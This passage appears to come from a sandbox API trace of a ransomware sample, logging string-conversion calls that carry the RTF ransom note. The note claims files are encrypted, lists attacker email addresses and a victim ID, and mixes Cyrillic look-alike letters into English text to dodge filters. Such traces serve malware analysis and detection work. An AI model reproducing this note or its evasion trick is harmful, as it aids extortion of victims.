s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1dae208, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 